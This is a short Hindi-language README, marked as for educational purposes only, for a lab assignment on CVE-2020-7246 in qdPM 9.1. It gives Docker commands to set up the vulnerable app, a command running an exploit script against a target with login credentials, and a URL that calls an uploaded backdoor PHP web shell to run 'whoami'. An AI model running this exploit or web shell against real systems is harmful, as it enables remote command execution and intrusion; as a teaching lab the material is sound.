CVE-2020-7246 (qdPM 9.1)

केवल शैक्षिक उद्देश्यों के लिए।

विवरण के लिए संदर्भ देखें।

चलाएँ

$ git clone https://github.com/arafatansari/SecAssignment.git
$ cd SecAssignment
$ docker build -t cve-assignment:ine .
$ docker run -it -p 80:80 cve-assignment:ine
$ service apache2 start | service mysql start

शोषण

$ python Exploit/exploit.py -url http://{target-ip}/qdpm/ -u [email protected] -p password

जाँच (शोषित)

$ http://{target-ip}/qdpm/uploads/users/xxxx-backdoor.php?cmd=whoami